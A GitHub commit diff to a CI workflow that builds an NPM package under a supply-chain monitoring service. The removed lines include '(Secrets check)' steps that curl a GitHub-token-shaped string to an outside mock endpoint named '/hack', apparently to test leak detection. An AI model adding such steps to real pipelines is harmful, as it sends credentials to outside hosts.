Skip to content

Commit f24aca0

Browse files
authored
Update main.yml
1 parent 1705720 commit f24aca0

File tree

1 file changed

+9
-29
lines changed

1 file changed

+9
-29
lines changed

.github/workflows/main.yml

Lines changed: 9 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
1-
name: Build JS Package For Secrets
1+
name: Build NPM Package
22
on:
3-
workflow_dispatch:
3+
workflow_dispatch:
44

55
permissions:
66
checks: write
@@ -62,21 +62,16 @@ jobs:
6262
env:
6363
PSE_DEBUG_FLAG: --alsologtostderr
6464
POLICY_LOG: t
65-
INVISIRISK_JWT_TOKEN: ${{secrets.VB_API_KEY}}
66-
INVISIRISK_PORTAL: https://app.veribom.com/
65+
INVISIRISK_JWT_TOKEN: ${{secrets.VB_API_KEY}}
66+
INVISIRISK_PORTAL: https://app.veribom.com
6767
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
6868
container:
69-
image: node:18-buster
70-
options: --cap-add=NET_ADMIN --privileged
69+
image: node:18-alpine
70+
options: --cap-add=NET_ADMIN
7171
strategy:
7272
matrix:
7373
node-version: [18.x]
7474
steps:
75-
- name: Install curl
76-
run: |
77-
apt-get update
78-
apt-get install -y curl
79-
8075
- env:
8176
SCAN_ID: ${{ needs.create_scan_in_IR_Portal.outputs.scan_id }}
8277
run: echo $SCAN_ID
@@ -90,21 +85,6 @@ jobs:
9085
uses: actions/setup-node@v3
9186
with:
9287
node-version: ${{ matrix.node-version }}
93-
94-
- name: (Secrets check) Send POST request with GitHub token
95-
run: |
96-
curl -k -X POST https://vbirmock.free.beeceptor.com/hack \
97-
-H "Content-Type: application/json" \
98-
-d '{
99-
"GH": "ghp_DEFzmg7RHrQ2eMe2IF4NxNWQodYpab3VMXXX"
100-
}'
101-
- name: (Secrets check) Make API Request
102-
run: |
103-
curl -k -X POST https://api.github.com/endpoint \
104-
-d '{"name": "ghp_1234567890abcdef1234567890abcdef12345678", "description": "A description of my repository"}'
105-
106-
- name: install dependencies
107-
# run: pip install -r requirements.txt
108-
run: npm install
109-
# - run: npm run build --if-present
110-
# - run: npm test
88+
89+
- run: npm install -g pnpm
90+
- run: pnpm install

0 commit comments

Comments
 (0)